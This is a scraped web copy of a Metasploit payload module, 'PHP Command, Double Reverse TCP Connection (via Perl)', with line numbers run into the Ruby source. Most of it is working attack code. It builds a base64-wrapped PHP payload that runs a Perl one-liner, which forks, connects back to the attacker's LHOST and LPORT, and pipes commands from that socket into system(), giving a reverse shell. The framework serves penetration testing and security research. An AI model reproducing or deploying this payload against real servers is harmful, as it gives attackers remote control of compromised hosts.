Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/reverse_perl.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Php12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'PHP Command, Double Reverse TCP Connection (via Perl)',17'Description' => 'Creates an interactive shell via perl',18'Author' => 'cazz',19'License' => BSD_LICENSE,20'Platform' => 'php',21'Arch' => ARCH_PHP,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Constructs the payload35#36def generate(_opts = {})37vars = Rex::RandomIdentifier::Generator.new38dis = "$#{vars[:dis]}"39shell = <<-END_OF_PHP_CODE40#{php_preamble(disabled_varname: dis)}41$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");42#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}43END_OF_PHP_CODE44return super + shell45end4647#48# Returns the command string to use for execution49#50def command_string51lhost = datastore['LHOST']52ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""53lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)54cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"55end56end575859